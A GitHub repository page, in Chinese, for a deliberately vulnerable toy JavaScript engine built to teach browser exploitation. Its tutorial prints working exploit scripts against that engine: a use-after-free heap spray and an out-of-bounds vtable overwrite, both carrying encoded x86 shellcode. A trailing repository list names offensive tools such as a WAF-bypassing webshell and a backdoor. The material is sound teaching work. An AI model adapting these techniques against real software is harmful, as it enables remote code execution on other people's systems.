• Stars
    star
    180
  • Rank 211,825 (Top 5 %)
  • Language
    C++
  • Created over 8 years ago
  • Updated about 8 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

模拟一个存在漏洞的JavaScript 运行环境,用来学习浏览器漏洞原理和练习如何编写Shellcode (a JavaScript Execute Envirment which study browser vuln and how to write Shellcode ) ..

###vuln_javascript vuln_javascript


vuln_javascript 模拟真实的浏览器的JavaScript 环境,通常地,我们使用JavaScript 来精心设计一些操作DOM 和其它浏览器对象的逻辑代码时会使得浏览器产生崩溃,针对不同种类的崩溃有不同的利用方法.vuln_javascript 收集了UAF 和越界读写两种漏洞类型,希望vuln_javascript 可以帮助更多安全爱好者理解浏览器内核漏洞原理和细节还有相关的Exploit 编写技巧.由于vuln_javascript 并不是真正的JavaScript 执行环境,所以现在只支持执行JavaScript 语句很少,可执行的语句如下:

支持的document 对象 :
document.createElement();  创建HTML 元素
document.appendChild();    附加到页面上显示

可以创建的HTML 元素:
img                        img 图片元素
div                        div 容器元素

支持的元素内部函数 :
element.remove();          删除元素
element.getAttribute();    获取属性
element.setAttribute();    设置属性

支持的对象内部函数 :
string.substr(offest);     截取字符串
string.substr(offest,len); 截取字符串
string.length();           获取字符串长度
array.length();            获取数组长度

支持的JavaScript 基本语句 :
var var_name=expression;   变量声名
for (1;2;3) {code_block};  for 循环语句
if {code_block} [else if {code_line;] [else {code_block}]            if 判断语句
function function_name(function_argment_list) {function_code_block}  函数声名语句

支持的表达式计算 :
+ - * / ()                 四则运算
''                         使用'' 号来表示字符串
== != > >= ...             表达式判断
call();                    函数调用
new IntArray();            生成数字数组
new IntArray(length);      生成长度为length 的数字数组
new IntArray(num1,num2);   生成长度为2 且包含内容为num1,num2 的数字数组
new ObjArray();            生成对象数组
new ObjArray(length);      生成长度为length 的对象数组

支持的元素方法 :
var_name.substr(l,b);      元素函数调用
var_name[1];               设置数组索引

其它的JavaScript 函数 :
console.log();             输出数据

###vuln_javacript 使用


vuln_javacript.exe 编译完成的EXE 在/Release 路径下可以找到(编译IDE 环境:VC++ 6 ,没有导入任何其它库).

vuln_javacript.exe 可以选择带参数运行,指定的参数为即将要执行的JavaScript 代码文件路径,例子:

buffer_in_memory

vuln_javacript.exe 也可以不带参数运行,默认以控制台的形式执行代码,例子:

buffer_in_memory

退出控制台模式的命令为quit ..

WARNING! 有个关于Array 使用的Bug (应用程序崩溃),因为VC++ 6 本身的STL 库设计问题,以后会移植到VC++ 8 ..

###vuln_javascript 执行例子


Example 1 -- 简单的计算:

var num_1;
var num_2=123;
num_1=321;
console.log(num_1+num_2);

Example 2 -- 简单的if 判断:

var array=new IntArray(10);
if (array.length())
    console.log('alloc success');
else
   console.log('alloc falut');

Example 3 -- 简单的函数调用:

function output(info) {
    console.log(info);
}
    
function calcu() {
   var a=1;
   for (var index=1;index<=10;index+=1)
        a+=index;
   return a;
}

output(calcu());
console.log('exit!..');

###漏洞利用部分


####TIPS! 所有的测试都在Debug 选项下的Debug 模式下进行

####1.UaF 原理部分(Use after Free ,重复使用已经被释放了的类)

所有的HTML 元素在浏览器的内部都是一个类的实例.在vuln_javascript 中,所有关于HTML 元素的操作都在javascript_element.cpp 这个文件里面.img 和div 元素继承HTML 基础元素,同时HTML 基础元素类向下提供一些HTML 元素的通用函数实现方法(也就是getAttribute() ,setAttribute()remove()).
Uaf 的原理是:当HTML 元素调用了remove() 删除自身并且在堆中释放内存之后,在接下来的代码执行流程中再次调用已经被释放的类时,将会引发释放后重用的漏洞(Use after Free),举个例子:

heap_alloc_and_free

程序第一次做堆内存申请时,系统会返回申请成功的堆内存地址

heap_alloc1

接下来第二次堆内存申请也一样,只不过是要申请的大小不同

heap_alloc2

然后对first_alloc 的申请做了内存释放,最后又做了一次堆内存申请,结果系统返回的地址和第一次申请的地址一样

heap_alloc3

如果还没有理解UaF 的利用原理,那就看一下下面这几个例子:

在刚才的示例中,对最后申请的thrid_alloc 做了一次数据复制,最后的输出过程如下:

uaf_data_change1

uaf_data_change2

可以看到,对thrid_alloc 的操作影响到了first_alloc ,对于类的操作也同样适用,举个例子

uaf_data_change3

利用UaF 漏洞来远程代码执行,其中的关键就是要修改虚函数表的地址,劫持对类的调用跳转到我们的ShellCode 中,关于C++ 的虚函数表的细节可以百度一下

Exapmle -- img 对象UaF :

Exploit :

function exp() {
    var jumpcode='%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D';
    var expcode='%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u006A%u2E68%u7865%u6865%u6163%u636C%ue589%u4dfe%u3153%u50c0%uff55%u00d7';
    var shellcode_length=0x100000;
    var rop='%u0D0D%u0D0D';
    var rop_length=rop.length();
    for (;rop_length<shellcode_length;rop_length=rop.length()) {
        rop+=rop;
    }
    rop+=expcode;
    console.log(rop.length());
};

var object=document.createElement('img');
object.setAttribute('a',123);
object.remove();
exp();
object.getAttribute('a');

代码object.remove() 产生了对象的释放,然后调用exp() 函数构造堆内存申请覆盖掉刚才object 对象在堆内的数据,控制虚函数表地址,让接下来的object.getAttribute('a') 调用刚才控制好的地址,跳转到0x0D0D0D0D ,最后通过堆喷射把ROP 在堆中大量占用,让ROP 其中一部分被分配到地址0x0D0D0D0D 处,于是执行ROP 代码最终滑行到expcode 中执行ShellCode ..



####2.Read /Write Out of Bound 原理部分(越界读写)

假设我们有两个数组:

buffer

在真实的环境中,这两个数组是有可能是相连的

buffer_in_memory

通常情况下,我们都可以正常访问buffer1 里面的数据,假设往buffer1 里面读写数据的时候的时候一不小心就越过了buffer1 本来的长度到了buffer2 呢?

read_write_out_of_buffer1

Exapmle 1 -- String 对象substr() 越界读取:

Exploit :

var first_string='test string';
var read_string='read me ...';

var read_string_length=first_string.substr(0x28,4);
var read_string_data=first_string.substr(0x30,read_string.length());
console.log('read_string_length:'+read_string_length);
console.log('read_string_data:'+read_string_length);

当用户声名一个String 类型的变量时,JavaScript 会申请堆内存来保存String 对象的数据

var string='test string';
console.log(string);

base_string_in_heap

根据结构可知:0x0CF1D870 中保存的为字符串长度,0x0CF1D874 为字符串的保存地址,0x0CF1D878 为字符串的数据地址

base_string_in_heap_detail

substr() 越界读取示例:

var string='test string';
var read_out_of_bound=string.substr(string.length(),10);
console.log(read_out_of_bound);

运行情况:

read_out_of_bound_execute

接下来我们到javascript_function.cpp string_object_substr() 里面设置断点,执行程序解析脚本,观测数据复制情况

read_out_of_bound_memcpy

可以看到,substr()offset 参数的设置使得memcpy() 直接读取到string 对象的NULL 结束符的位置,然后到javascript_function.cpp console_log() 中设置断点,可以看到即将要输出到控制台的read_out_of_bound 对象的内容

read_out_of_bound_output

那么我们可以构造两个String 对象,让第一个String 越界读取到第二个String 对象里面,当我们声名了两个String 对象时,堆里面的内容如下
声名两个String 对象示例代码:

var first_string='test string';
var read_string='read me ...';
console.log('exit');

two_string_in_heap

由于这两个字符串在堆里面是连续的,那么我们可以构造好first_string.substr() 的调用参数读取到read_string 里面的内容,首先分析一下substr() 的参数应该如何构造
first_string 越界读写测试代码一:

var first_string='test string';
var read_string='read me ...';
var read_data=first_string.substr(0,4);
console.log(read_data);

现在到回到javascript_function.cpp string_object_substr() 里面设置断点,可以看到memcpy() 将要从first_string 保存数据的地址中开始复制数据
read_out_of_bound_memcpy_exploit

现在,可以这样计算,read_string 保存数据的地址为0xCEFD848 ,first_string 保存数据的地址为0xCEFD818 ,地址偏移了0x30 ,于是可以构造first_string.substr(0x30,4); 读取到read_string 里面的内容,继续观察javascript_function.cpp string_object_substr() 的执行情况

first_string 越界读写测试代码二:

var first_string='test string';
var read_string='read me ...';
var read_data=first_string.substr(0x30,4);
console.log(read_data);

read_out_of_bound_memcpy_read_data

可以看到,我们已经控制substr() 读取到了read_string 的内容了

read_out_of_bound_memcpy_read_data_output

由于我们读取的是4 字节的数据,要想完全读取read_data 的内容,只需要把first_string.substr(0x30,4) 修改为first_string.substr(0x30,read_string.length()) 即可

但是只读到内容并没有什么用途,根据之前的分析,我们可以跨过去读取一个对象的信息,比如这样:
substr() 越界读取object 虚函数表:

var first_string='test string';
var read_object=document.createElement('img');
var read_data=first_string.substr(0x50,4);
console.log(read_data);

现在,请到javascript_element.cpp base_element::base_element() 中设置断点,中断时观察堆里面的数据,可以看到first_stringread_object 对象的地址偏移动从原来的0x30 变成了0x50 (0xD07D868-0xD07D810=0x50)

read_out_of_bound_object

然后再到javascript_function.cpp string_object_substr() 中观察memcpy() ,发现虚函数表已经复制到变量里面中去了

read_out_of_bound_read_object_virtual_table

因为substr() 是以String 对象读取出来的,所以会输出的时候会显示错误

read_out_of_bound_read_object_output



Example 2 -- IntArray 数组越界读写

Exploit 1 获取IntArray 类基地址:

var first_array=new IntArray(4);
var read_array=new IntArray(1,2,3,4);

console.log(first_array[0xA]);

上面已经很清楚地述说了越界读取数据的原理,同样地,IntArray 整数数组的读写也存在越界,只不过接下来我们要利用写的方式来覆盖IntArray 原来的虚函数表,利用原理是构造一个指向到我们的Shellcode 的虚函数表来覆盖它,然后再调用指定的函数,控制代码流跳到Shellocode 中,详细的利用代码如下

Exploit 2 远程代码执行:

var write_array=new IntArray(4);
var exploit_array=new IntArray(1,2,3,4);
var read_exploit_virutal_table_array=new IntArray(4);
var exploit_virutal_table=new IntArray(0,0,1);
var read_shellcode_address=new IntArray(4);
var shellcode='%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u006A%u2E68%u7865%u6865%u6163%u636C%ue589%u4dfe%u3153%u50c0%uff55%u00d7';
exploit_virutal_table[0x2]=read_shellcode_address[0x27];
write_array[0xA]=read_exploit_virutal_table_array[0xD];
exploit_array.length();

首先,通过read_shellcode_address 的越界读取漏洞把shellcode 中的保存数据的地址读取出来,然后存放到构造虚函数表中(exploit_virutal_table),接下来使用read_exploit_virutal_table_array 越界读取exploit_virutal_table 中储存数据的地址,把读取出来的地址通过write_array 越界写数据到exploit_array 的虚函数表地址中,使得exploit_virutal_table 中精心构造好的虚函数表覆盖掉原来exploit_array IntArray 对象的虚函数表,最后通过exploit_array.length() 触发exploit_array 对象 调用虚函数,从而控制程序最后执行到shellcode 变量中储存的二进制代码,以下为示意图:

write_out_of_bound_exploit

调试代码时,在javascript_array.cpp base_array::get_indexjavascript_array.cpp base_array::set_index 设置断点,观察4 次IntArray 数组在堆中读写数据的细节

由于exploit_arrayexploit_virutal_table 会初始化IntArray 数组的内容,所以开始的几次断点会中断到javascript_array.cpp base_array::set_index 中,当程序执在javascript_array.cpp base_array::get_index 处中断,意味着执行到read_shellcode_address[0x27] 的读取,从0xCCADA84 处读取到shellcode 的数据指针(0x0CCAD9E8+0x27*0x4=0xCCADA84)

write_out_of_bound_read_shellcode

F9 执行到下一处断点,在javascript_array.cpp base_array::set_index 中断,此时执行到exploit_virutal_table[0x2] 的数据写入,把刚才读取到的虚函数表地址保存到数组中,内存空间如下

write_out_of_bound_build_virtual_table

继续F9 执行,在javascript_array.cpp base_array::get_index 中断,此时执行到read_exploit_virutal_table_array[0xD] 的越界读取,读取exploit_virutal_table 保存数据的地址(0x0CCAD908+0xD*0x4=0x0CCAD93C ,得到0x0CCAD978 也就是刚才构造好的exploit_virutal_table 的数据内容地址)

write_out_of_bound_read_build_virtual_table_data_address

继续F9 执行,在javascript_array.cpp base_array::set_index 中断,执行到write_array[0xA] 的越接写入,刚好把刚才读出来的地址写到exploit_array 的虚函数表地址里面

覆盖地址前:
write_out_of_bound_rewrite_exploit_array_virtual_table_before
覆盖地址后:
write_out_of_bound_rewrite_exploit_array_virtual_table_after

最后一步就是调用exploit_arraylength() 引发虚函数的调用,现在到javascript_function.cpp array_object_length() set_variant(JAVASCRIPT_VARIANT_KEYNAME_FUNCTION_RESULT,(void*)array_class->length(),NUMBER); 中设置断点,并且切换到汇编模式下调试(在代码窗口里面右键鼠标选择跳转到汇编).

**WARNING!**这里不小心重新启动了程序,地址会有变化,最后的部分主要是说明exploit_array 调用虚函数是如何根据我们构造的数据去走的

往下执行mov eax,dword ptr [ebp-4] 读取出exploit_array 的类地址

mov edx,dword ptr [eax] 读取出虚函数表地址,可见地址已经被写成0x0CF0D978

write_out_of_bound_exploit_array_detail1

执行到call dword ptr [edx+8] ,从虚函数表里面读取虚函数length() 的地址,此时length() 地址已经被改写到0x0CF0DA88

write_out_of_bound_exploit_array_detail2

所以接下来会执行call 0x0CF0DA88 ,也就是执行shellcode 保存的数据

write_out_of_bound_exploit_array_detail3

More Repositories

1

Source-and-Fuzzing

一些阅读源码和Fuzzing 的经验,涵盖黑盒与白盒测试..
C++
970
star
2

Machine-Learning-Note

机器学习笔记
Python
426
star
3

Fuzzing-ImageMagick

OpenSource My ImageMagick Fuzzer ..
Mask
295
star
4

PHP-WebShell-Bypass-WAF

分享PHP WebShell 绕过WAF 的一些经验 Share some experience about PHP WebShell bypass WAF and Anti-AV
PHP
282
star
5

network_backdoor_scanner

This is a backdoor about discover network device ,and it can hidden reverse connecting the hacker's server with encrypt commuication 后渗透后门程序,适合在已经攻陷的内网中做下一步的网络信息扫描..
C++
182
star
6

PHP_Source_Audit_Tools

PHP 白盒分析工具,结合AST 和数据流跟踪分析代码,达到自动化白盒审计功能
Python
146
star
7

Hacker_Document

收集一些以前看过对于入门和进阶很有用的攻击原理文档..
142
star
8

WebShell-Detect-By-Machine-Learning

使用机器学习识别WebShell
Python
127
star
9

browser_vuln_check

browser_vuln_check ,利用已知的浏览器漏洞PoC 来快速检测Webview 和浏览器环境是否存在安全漏洞,只需要访问run.html 即可获取所有扫描结果,适用场景包含:APP 发布之前的内部安全测试,第三方Webview 漏洞检测等(browser_vuln_check framework using some known browser vulnerabilities PoC to quick automate aduit WebView or Browser security ,apply to application security before issue and detecting third-part WebView security)..
Python
117
star
10

SISE_Traning_CTF_RE

SNST Traning RE Project .华软网络安全小组逆向工程训练营,尝试以CTF 的形式来使大家可以动手训练快速提升自己的逆向工程水平.CTF 的训练程序又浅到深,没有使用太复杂的算法,在逆向的过程中遇到的难关都是在分析病毒和破解中遇到的实际情况,注重于实用.训练营还包含有源代码文件,训练程序和思路.希望可以帮助小伙伴们入门逆向工程这个神奇的世界..
C++
110
star
11

CVE-2017-7269-Echo-PoC

CVE-2017-7269 回显PoC ,用于远程漏洞检测..
Python
88
star
12

Think-in-Security

从二进制到WEB ,分享我在安全路上的思考与点滴,后面会不断地更新..
76
star
13

Angr-CTF-Learn-Note

The learn note of Angr-CTF ..
49
star
14

qemu-fuzzer

Qemu Fuzzer.针对Qemu模拟设备的模糊测试工具,主要思路是Host生成种子Data,然后传递给Guest中转程序,由中转程序访问MMIO,以达到和模拟设备的交互,不同于qtest自带的fuzzer.
C
43
star
15

XSS-hunter

XSS hunter 收集Webview 页面上存在的反射,储存型XSS ,方便应急APP 和前端页面在发布时遇到XSS 安全问题..
PHP
42
star
16

etherum_rpc_steal

The Etherum RPC Steal Toolset and honeypot .以太坊"偷渡"漏洞利用和蜜罐工具集.
Python
40
star
17

Kite

Browser Fuzzing Framework ,浏览器Fuzzing 框架..
HTML
31
star
18

klee-fl

KLEE-fl : Compile Project to Bitcode and Try Fuzzing with KLEE .
C++
27
star
19

my-blog

我的技术博客,记录成长
C++
26
star
20

Aurora_CAPTCHA

极光验证码,为反爬虫而生
Python
25
star
21

My_PoC

Collect some PoC that I writted .记录自己写过的PoC ..
Python
23
star
22

KiMi-VulnBot_Framework

KiMi 漏洞感知机器人扫描框架 @KiMi-VulnBot @KiMiThreatPerception
Python
22
star
23

cve_diff_checker

快速对自己项目中引入的第三方开源库进行1day patch检索,patch数据每天晚上11点更新
Roff
20
star
24

FreeWebpilotInChatGPT35

非付费的chatgpt3.5 用户也可以使用付费的chatgpt4 Webpilot 插件. Free ChatGPT 3.5 users can also use the paid ChatGPT 4 Webpilot plugin.
JavaScript
19
star
25

dns_hijack_server

A dns server that use to hijack other dns request in a wifi network for redirect to your custem http server ..
C++
16
star
26

browser_xss_auditor_fuzzing

浏览器XSS 过滤器Fuzzing 框架 (browser xss aduit fuzzing framework )..
HTML
15
star
27

blue_fariy

github 项目代码加密,在不创建github 私有项目的前提下使用github 更新代码又不希望自己的核心代码公开,bule_fariy.py 可以在git push 之前自动加密所有代码(Encrypt your Github repository code before git push )
Python
15
star
28

Python_CookieLib_0day

Using This 0-day to Anti-Python-Spider ..
PHP
14
star
29

Supplicant_Exploit_Kit

Sise supplicant exploit kit -- 华软蝴蝶漏洞利用工具包..
C++
13
star
30

Ethereum_Similar_Contract_Classify

Python
12
star
31

blockchain_story

酒剑论江湖,区块有故事..
12
star
32

BitLeague

聚合交易平台BitLeague
Python
11
star
33

pseudo-protocals-digger

system pseudo protocals digger for windows -- Windows 系统下的伪协议查看工具
Python
11
star
34

cross_domain_postmessage_vuln_dig

WEB 跨域postMessage() 漏洞挖掘工具,基本原理:使用AJAX 获取页面代码,结合iframe 和data 协议构造测试环境,然后在iframe 下的window.onmessage 中插入hook 监控onmessage 的参数,最后通过能否被原来的onmessage 逻辑引用参数中的data 属性来判断是否可以跨域传递数据..
HTML
11
star
35

Big_Project

我就笑笑不说话,哈哈哈哈..
7
star
36

Distributed-Task-Queue

Dynamic Expand Distributed Task Queue (分布式任务队列框架)
Python
7
star
37

ethereum_solidity_symbol_execute

Ethereum Solidity Symblo Execute Demo -- Check Vuln and Auto Build Payload ..
Python
6
star
38

supplicant_getadaptersinfo_dll

Bypass for supplicant server NAT validate .蝴蝶NAT 认证绕过DLL ..
C++
5
star
39

DCpp_Exploit_Kit

Sise DC++ exploit kit -- 华软DC++ 漏洞利用工具包..
C++
5
star
40

file_crypter

A Simple Malware Example About File Crypter Like CTB-locker ;文件劫持病毒实例代码,就像CTB-Locker 一样加劫持用户交钱恢复被加密的文件..
C
4
star
41

Vending_Machine

2012 的开发代表作品,自动售货机,那年开始从底层出发到硬件设计,这些都是乐趣所在,做一些很酷的东西一直都是追求的目标,从自动售货机的开发过程中开始逐渐萌生出Small System 的雏形,但是由于很多种原因没有办法继续开发下去,最后完成自动售货机是在2013 年的冬天也就是高三,那四天的日子也是我在科技协会一直记住的美好时光,感谢你们的支持,虽然你们可能看不到我在这里所写的东西,如果没有你们设计箱子做电路也就没有后面的故事,谢谢你们..
C
4
star
42

PyDbg_Document

This document is collect interface's using in PyDbg.py and conver to markdown for anybody convenient reading ..
Python
3
star
43

quick_scan_virus

a security tool for quick scan some virus and APT
Python
3
star
44

JPEG-Locker

2013 的开发代表作品,JPEG 保护者.Protect your JPEG picture and more important information .WARNING ! If you want to use my code ,please update the module - PictureLock.bas .I tested patch a key jmp and bypass the valid program could using arbitrarily string to decrypt protecting file .So I hope you can rewrite this module and all encrypt input file with password and XOR .
Visual Basic
2
star
45

USB-firewall

2011 的开发代表作品,2010 年吃了很多苦头才有点入门Windows 系统编程,U 盘防火墙是看了很多VB VC 病毒编写的代码和原理才写的,毕竟10 年一半的时间在学习编程一半时间在学习黑客技术,虽然一次都没有黑成功,但是积累了很多在以后都挺实用的理论.U 盘防火墙可以在一定程度上防止U 盘上的病毒入侵到主机..
Visual Basic
2
star
46

Lap-Game

2010 的开发代表作品,这是刚开始学写程序的第一年,是一个拥有智能AI 的圈叉游戏,AI 不仅可以防守,而且还可以进攻,当年写这段代码还没放到电脑上运行的时候是写在笔记本上面一步步在脑里面运行的,曾经现场运行这段代码来和真人对抗,诚然,现在早已忘记开发的乐趣,那个夕阳西下的时候,我曾经对未来拥有多大的憧憬,但是最后得到了经验,得到了技术,却早已失去掉曾经的乐趣,我想,最悲哀的故事也莫过于此吧,这就是在大学为什么不打算走开发而是做逆向工程的原因,人,最痛苦的事情就是挑起他最不愿意的担子去做他最喜爱的事情..
Visual Basic
2
star
47

python_compiler

Python 指令编译工具(Python Instruction Compiler )..
Python
1
star